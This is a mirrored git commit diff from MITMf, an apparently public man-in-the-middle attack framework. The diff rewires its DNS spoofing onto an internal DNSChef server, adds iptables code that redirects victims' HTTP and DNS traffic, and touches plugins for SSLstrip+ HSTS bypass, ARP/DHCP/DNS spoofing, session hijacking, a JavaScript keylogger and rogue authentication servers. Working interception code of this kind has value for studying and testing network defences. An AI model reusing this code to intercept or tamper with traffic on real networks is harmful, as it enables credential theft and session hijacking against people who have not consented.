mirror of
https://github.com/byt3bl33d3r/MITMf.git
synced 2025-07-10 15:23:41 -07:00
- Whole framework now requires root privs
- Added an internal DNS server - Proxy can now use our custom DNS server (DNSChef) or Twisted's - Removed priv check from plugins - DNS spoofing fully re-written - Iptables rules are now checked and set between plugins
This commit is contained in:
parent
c8732d60eb
commit
9a1c3b0ec4
22 changed files with 129 additions and 90 deletions
|
@ -8,7 +8,6 @@
|
|||
#here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py`
|
||||
#(assuming you config file is in the default directory)
|
||||
#
|
||||
|
||||
args=''
|
||||
|
||||
#Required BeEF and Metasploit options
|
||||
|
@ -23,28 +22,22 @@
|
|||
rpcip = 127.0.0.1
|
||||
rpcpass = abc123
|
||||
|
||||
#
|
||||
#Plugin configuration starts here
|
||||
#
|
||||
|
||||
[Spoof]
|
||||
|
||||
[[DHCP]]
|
||||
ip_pool = 192.168.2.10-50
|
||||
subnet = 255.255.255.0
|
||||
dns_server = 192.168.2.20 #optional
|
||||
|
||||
|
||||
[[DNS]]
|
||||
|
||||
#
|
||||
#Here you can configure DNSChef's options
|
||||
#Here you can configure MITMf's internal DNS server
|
||||
#
|
||||
|
||||
resolver = dnschef #Can be set to 'twisted' or 'dnschef' ('dnschef' is highly reccomended)
|
||||
tcp = Off #Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
|
||||
port = 53 #Port to listen on
|
||||
nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
|
||||
tcp = Off #Use the TCP DNS proxy instead of the default UDP
|
||||
ipv6 = Off #Run in IPv6 mode
|
||||
ipv6 = Off #Run in IPv6 mode (not fully tested, might break stuff!)
|
||||
|
||||
#
|
||||
#Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
|
||||
#can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
|
||||
#
|
||||
nameservers = 8.8.8.8
|
||||
|
||||
[[[A]]] # Queries for IPv4 address records
|
||||
*.thesprawl.org=192.0.2.1
|
||||
|
@ -82,6 +75,17 @@
|
|||
[[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
|
||||
*.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
|
||||
|
||||
#
|
||||
#Plugin configuration starts here
|
||||
#
|
||||
|
||||
[Spoof]
|
||||
|
||||
[[DHCP]]
|
||||
ip_pool = 192.168.2.10-50
|
||||
subnet = 255.255.255.0
|
||||
dns_server = 192.168.2.20 #optional
|
||||
|
||||
[Responder]
|
||||
|
||||
#Set these values to On or Off, so you can control which rogue authentication server is turned on.
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
# USA
|
||||
#
|
||||
|
||||
import urlparse, logging, os, sys, random, re
|
||||
import urlparse, logging, os, sys, random, re, dns.resolver
|
||||
|
||||
from twisted.web.http import Request
|
||||
from twisted.web.http import HTTPChannel
|
||||
|
@ -55,6 +55,12 @@ class ClientRequest(Request):
|
|||
self.plugins = ProxyPlugins.getInstance()
|
||||
#self.uniqueId = random.randint(0, 10000)
|
||||
|
||||
#Use are own DNS server instead of reactor.resolve()
|
||||
self.resolver = URLMonitor.getInstance().getResolver()
|
||||
self.customResolver = dns.resolver.Resolver()
|
||||
self.customResolver.nameservers = ['127.0.0.1']
|
||||
self.customResolver.port = URLMonitor.getInstance().getResolverPort()
|
||||
|
||||
def cleanHeaders(self):
|
||||
headers = self.getAllHeaders().copy()
|
||||
|
||||
|
@ -173,7 +179,7 @@ class ClientRequest(Request):
|
|||
self.proxyViaHTTP(address, self.method, path, postData, headers, port)
|
||||
|
||||
def handleHostResolvedError(self, error):
|
||||
logging.warning("[ClientRequest] Host resolution error: " + str(error))
|
||||
logging.debug("[ClientRequest] Host resolution error: " + str(error))
|
||||
try:
|
||||
self.finish()
|
||||
except:
|
||||
|
@ -186,7 +192,17 @@ class ClientRequest(Request):
|
|||
mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address)))
|
||||
return defer.succeed(address)
|
||||
else:
|
||||
|
||||
mitmf_logger.debug("[ClientRequest] Host not cached.")
|
||||
|
||||
if self.resolver == 'dnschef':
|
||||
try:
|
||||
address = str(self.customResolver.query(host)[0].address)
|
||||
return defer.succeed(address)
|
||||
except Exception:
|
||||
return defer.fail()
|
||||
|
||||
elif self.resolver == 'twisted':
|
||||
return reactor.resolve(host)
|
||||
|
||||
def process(self):
|
||||
|
|
|
@ -47,6 +47,8 @@ class URLMonitor:
|
|||
self.hsts = False
|
||||
self.app = False
|
||||
self.hsts_config = None
|
||||
self.resolver = 'dnschef'
|
||||
self.resolverport = 53
|
||||
|
||||
@staticmethod
|
||||
def getInstance():
|
||||
|
@ -55,6 +57,22 @@ class URLMonitor:
|
|||
|
||||
return URLMonitor._instance
|
||||
|
||||
#This is here because I'm lazy
|
||||
def setResolver(self, resolver):
|
||||
self.resolver = str(resolver).lower()
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolver(self):
|
||||
return self.resolver
|
||||
|
||||
#This is here because I'm lazy
|
||||
def setResolverPort(self, port):
|
||||
self.resolverport = int(port)
|
||||
|
||||
#This is here because I'm lazy
|
||||
def getResolverPort(self):
|
||||
return self.resolverport
|
||||
|
||||
def isSecureLink(self, client, url):
|
||||
for expression in URLMonitor.javascriptTrickery:
|
||||
if (re.match(expression, url)):
|
||||
|
@ -133,7 +151,6 @@ class URLMonitor:
|
|||
self.faviconSpoofing = faviconSpoofing
|
||||
|
||||
def setHstsBypass(self, hstsconfig):
|
||||
if hstsconfig:
|
||||
self.hsts = True
|
||||
self.hsts_config = hstsconfig
|
||||
|
||||
|
|
|
@ -30,19 +30,33 @@ class SystemConfig:
|
|||
file.write(str(value))
|
||||
file.close()
|
||||
|
||||
class iptables:
|
||||
class IpTables:
|
||||
|
||||
_instance = None
|
||||
|
||||
def __init__(self):
|
||||
self.dns = False
|
||||
self.http = False
|
||||
|
||||
@staticmethod
|
||||
def Flush():
|
||||
def getInstance():
|
||||
if IpTables._instance == None:
|
||||
IpTables._instance = IpTables()
|
||||
|
||||
return IpTables._instance
|
||||
|
||||
def Flush(self):
|
||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
||||
self.dns = False
|
||||
self.http = False
|
||||
|
||||
@staticmethod
|
||||
def HTTP(http_redir_port):
|
||||
def HTTP(self, http_redir_port):
|
||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % http_redir_port)
|
||||
self.http = True
|
||||
|
||||
@staticmethod
|
||||
def DNS(ip, port):
|
||||
def DNS(self, ip, port):
|
||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j DNAT --to %s:%s' % (ip, port))
|
||||
self.dns = True
|
||||
|
||||
class Banners:
|
||||
|
||||
|
|
|
@ -1 +1 @@
|
|||
Subproject commit fbc5ec324b6045db2f6cc62662ab51d3ff979ec8
|
||||
Subproject commit 9707672de62bd42f651fabc6f9d368d7a67b4d99
|
34
mitmf.py
34
mitmf.py
|
@ -36,14 +36,6 @@ from scapy.all import get_if_addr, get_if_hwaddr
|
|||
from plugins import *
|
||||
plugin_classes = plugin.Plugin.__subclasses__()
|
||||
|
||||
try:
|
||||
import netfilterqueue
|
||||
if netfilterqueue.VERSION[1] is not 6:
|
||||
print "[-] Wrong version of NetfilterQueue library installed!"
|
||||
print "[-] Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it!"
|
||||
except ImportError:
|
||||
print "[-] NetfilterQueue library missing! DNS tampering will not work"
|
||||
|
||||
try:
|
||||
import user_agents
|
||||
except ImportError:
|
||||
|
@ -52,9 +44,13 @@ except ImportError:
|
|||
mitmf_version = "0.9.6"
|
||||
sslstrip_version = "0.9"
|
||||
sergio_version = "0.2.1"
|
||||
dnschef_version = "0.4"
|
||||
|
||||
Banners().printBanner()
|
||||
|
||||
if os.geteuid() != 0:
|
||||
sys.exit("[-] When man-in-the-middle you want, run as r00t you will, hmm?")
|
||||
|
||||
parser = argparse.ArgumentParser(description="MITMf v%s - Framework for MITM attacks" % mitmf_version, version=mitmf_version, usage='', epilog="Use wisely, young Padawan.",fromfile_prefix_chars='@')
|
||||
#add MITMf options
|
||||
mgroup = parser.add_argument_group("MITMf", "Options for MITMf")
|
||||
|
@ -114,15 +110,6 @@ if config_args:
|
|||
sys.argv.append(arg)
|
||||
args = parser.parse_args()
|
||||
|
||||
#Check to see if called plugins require elevated privs
|
||||
try:
|
||||
for p in plugins:
|
||||
if (vars(args)[p.optname] is True) and (p.req_root is True):
|
||||
if os.geteuid() != 0:
|
||||
sys.exit("[-] %s plugin requires root privileges" % p.name)
|
||||
except AttributeError:
|
||||
sys.exit("[-] %s plugin is missing the req_root attribute" % p.name)
|
||||
|
||||
####################################################################################################
|
||||
|
||||
# Here we check for some variables that are very commonly used, and pass them down to the plugins
|
||||
|
@ -189,8 +176,18 @@ else:
|
|||
|
||||
from core.sslstrip.StrippingProxy import StrippingProxy
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from libs.dnschef.dnschef import DNSChef
|
||||
|
||||
URLMonitor.getInstance().setFaviconSpoofing(args.favicon)
|
||||
URLMonitor.getInstance().setResolver(args.configfile['MITMf']['DNS']['resolver'])
|
||||
URLMonitor.getInstance().setResolverPort(args.configfile['MITMf']['DNS']['port'])
|
||||
|
||||
DNSChef.getInstance().setCoreVars(args.configfile['MITMf']['DNS'])
|
||||
if args.configfile['MITMf']['DNS']['tcp'].lower() == 'on':
|
||||
DNSChef.getInstance().startTCP()
|
||||
else:
|
||||
DNSChef.getInstance().startUDP()
|
||||
|
||||
CookieCleaner.getInstance().setEnabled(args.killsessions)
|
||||
ProxyPlugins.getInstance().setPlugins(load)
|
||||
|
||||
|
@ -207,7 +204,8 @@ else:
|
|||
|
||||
print "|"
|
||||
print "|_ Sergio-Proxy v%s online" % sergio_version
|
||||
print "|_ SSLstrip v%s by Moxie Marlinspike running...\n" % sslstrip_version
|
||||
print "|_ SSLstrip v%s by Moxie Marlinspike online" % sslstrip_version
|
||||
print "|_ DNSChef v%s online\n" % dnschef_version
|
||||
|
||||
reactor.run()
|
||||
|
||||
|
|
|
@ -39,7 +39,6 @@ class AppCachePlugin(Plugin):
|
|||
implements = ["handleResponse"]
|
||||
version = "0.3"
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -40,7 +40,6 @@ class BeefAutorun(Inject, Plugin):
|
|||
tree_output = []
|
||||
depends = ["Inject"]
|
||||
version = "0.3"
|
||||
req_root = False
|
||||
has_opts = False
|
||||
|
||||
def initialize(self, options):
|
||||
|
|
|
@ -33,7 +33,6 @@ class BrowserProfiler(Inject, Plugin):
|
|||
depends = ["Inject"]
|
||||
version = "0.2"
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
|
|
|
@ -29,7 +29,6 @@ class CacheKill(Plugin):
|
|||
bad_headers = ['if-none-match', 'if-modified-since']
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
req_root = False
|
||||
|
||||
def add_options(self, options):
|
||||
options.add_argument("--preserve-cookies", action="store_true", help="Preserve cookies (will allow caching in some situations).")
|
||||
|
|
|
@ -81,7 +81,6 @@ class FilePwn(Plugin):
|
|||
tree_output = ["BDFProxy v0.2 online"]
|
||||
version = "0.2"
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
|
|
|
@ -35,7 +35,6 @@ class Inject(CacheKill, Plugin):
|
|||
optname = "inject"
|
||||
implements = ["handleResponse", "handleHeader", "connectionMade"]
|
||||
has_opts = True
|
||||
req_root = False
|
||||
desc = "Inject arbitrary content into HTML content"
|
||||
version = "0.2"
|
||||
depends = ["CacheKill"]
|
||||
|
|
|
@ -30,7 +30,6 @@ class jskeylogger(Inject, Plugin):
|
|||
depends = ["Inject"]
|
||||
version = "0.2"
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
|
|
|
@ -39,7 +39,6 @@ class Replace(CacheKill, Plugin):
|
|||
depends = ["CacheKill"]
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -34,7 +34,6 @@ class Responder(Plugin):
|
|||
tree_output = ["NBT-NS, LLMNR & MDNS Responder v2.1.2 by Laurent Gaffie online"]
|
||||
version = "0.2"
|
||||
has_opts = True
|
||||
req_root = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
|
|
|
@ -30,7 +30,6 @@ class SMBAuth(Inject, Plugin):
|
|||
depends = ["Inject"]
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
Inject.initialize(self, options)
|
||||
|
|
|
@ -19,22 +19,20 @@
|
|||
#
|
||||
|
||||
import sys
|
||||
import dns.resolver
|
||||
import logging
|
||||
|
||||
from plugins.plugin import Plugin
|
||||
from core.utils import SystemConfig
|
||||
from core.utils import IpTables
|
||||
from core.sslstrip.URLMonitor import URLMonitor
|
||||
from libs.dnschef.dnschef import start_dnschef
|
||||
from libs.dnschef.dnschef import DNSChef
|
||||
|
||||
class HSTSbypass(Plugin):
|
||||
name = 'SSLstrip+'
|
||||
optname = 'hsts'
|
||||
desc = 'Enables SSLstrip+ for partial HSTS bypass'
|
||||
version = "0.4"
|
||||
tree_output = ["SSLstrip+ by Leonardo Nve running", "DNSChef v0.3 online"]
|
||||
tree_output = ["SSLstrip+ by Leonardo Nve running"]
|
||||
has_opts = False
|
||||
req_root = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
@ -42,10 +40,17 @@ class HSTSbypass(Plugin):
|
|||
|
||||
try:
|
||||
hstsconfig = options.configfile['SSLstrip+']
|
||||
dnsconfig = options.configfile['Spoof']['DNS']
|
||||
except Exception, e:
|
||||
sys.exit("[-] Error parsing config for SSLstrip+: " + str(e))
|
||||
|
||||
URLMonitor.getInstance().setHstsBypass(hstsconfig)
|
||||
if not options.manualiptables:
|
||||
if IpTables.getInstance().dns is False:
|
||||
IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port'])
|
||||
|
||||
start_dnschef(options, dnsconfig, hstsconfig)
|
||||
URLMonitor.getInstance().setHstsBypass(hstsconfig)
|
||||
DNSChef.getInstance().setHstsBypass(hstsconfig)
|
||||
|
||||
def finish(self):
|
||||
if not self.manualiptables:
|
||||
if IpTables.getInstance().dns is True:
|
||||
IpTables.getInstance().Flush()
|
|
@ -41,7 +41,6 @@ class SessionHijacker(Plugin):
|
|||
implements = ["cleanHeaders"] #["handleHeader"]
|
||||
version = "0.1"
|
||||
has_opts = True
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
|
|
|
@ -45,7 +45,6 @@ class Sniffer(Plugin):
|
|||
implements = ["sendRequest"]
|
||||
version = "0.1"
|
||||
has_opts = False
|
||||
req_root = True
|
||||
|
||||
def initialize(self, options):
|
||||
self.options = options
|
||||
|
|
|
@ -21,11 +21,11 @@
|
|||
import logging
|
||||
import sys
|
||||
|
||||
from core.utils import SystemConfig
|
||||
from core.utils import SystemConfig, IpTables
|
||||
from core.sslstrip.DnsCache import DnsCache
|
||||
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
|
||||
from plugins.plugin import Plugin
|
||||
from libs.dnschef.dnschef import start_dnschef
|
||||
from libs.dnschef.dnschef import DNSChef
|
||||
|
||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||
from scapy.all import *
|
||||
|
@ -35,14 +35,12 @@ class Spoof(Plugin):
|
|||
optname = "spoof"
|
||||
desc = "Redirect/Modify traffic using ICMP, ARP, DHCP or DNS"
|
||||
version = "0.6"
|
||||
tree_output = []
|
||||
has_opts = True
|
||||
req_root = True
|
||||
|
||||
def initialize(self, options):
|
||||
'''Called if plugin is enabled, passed the options namespace'''
|
||||
self.options = options
|
||||
self.dnscfg = options.configfile['Spoof']['DNS']
|
||||
self.dnscfg = options.configfile['MITMf']['DNS']
|
||||
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
||||
self.target = options.target
|
||||
self.manualiptables = options.manualiptables
|
||||
|
@ -91,10 +89,10 @@ class Spoof(Plugin):
|
|||
if options.dns:
|
||||
|
||||
if not options.manualiptables:
|
||||
SystemConfig.iptables.DNS(options.ip_address, self.dnscfg['port'])
|
||||
if IpTables.getInstance().dns is False:
|
||||
IpTables.getInstance().DNS(options.ip_address, self.dnscfg['port'])
|
||||
|
||||
self.tree_output.append("DNSChef v0.3 online")
|
||||
start_dnschef(options, self.dnscfg)
|
||||
DNSChef.getInstance().loadRecords(self.dnscfg)
|
||||
|
||||
if not options.arp and not options.icmp and not options.dhcp and not options.dns:
|
||||
sys.exit("[-] Spoof plugin requires --arp, --icmp, --dhcp or --dns")
|
||||
|
@ -102,7 +100,8 @@ class Spoof(Plugin):
|
|||
SystemConfig.setIpForwarding(1)
|
||||
|
||||
if not options.manualiptables:
|
||||
SystemConfig.iptables.HTTP(options.listen)
|
||||
if IpTables.getInstance().http is False:
|
||||
IpTables.getInstance().HTTP(options.listen)
|
||||
|
||||
for protocol in self.protocolInstances:
|
||||
protocol.start()
|
||||
|
@ -124,6 +123,6 @@ class Spoof(Plugin):
|
|||
protocol.stop()
|
||||
|
||||
if not self.manualiptables:
|
||||
SystemConfig.iptables.Flush()
|
||||
IpTables.getInstance().Flush()
|
||||
|
||||
SystemConfig.setIpForwarding(0)
|
||||
|
|
|
@ -32,7 +32,6 @@ class Upsidedownternet(Plugin):
|
|||
implements = ["handleResponse", "handleHeader"]
|
||||
version = "0.1"
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def initialize(self, options):
|
||||
from PIL import Image, ImageFile
|
||||
|
|
|
@ -10,7 +10,6 @@ class Plugin(object):
|
|||
desc = ""
|
||||
implements = []
|
||||
has_opts = False
|
||||
req_root = False
|
||||
|
||||
def __init__(self):
|
||||
'''Called on plugin instantiation. Probably don't need this'''
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue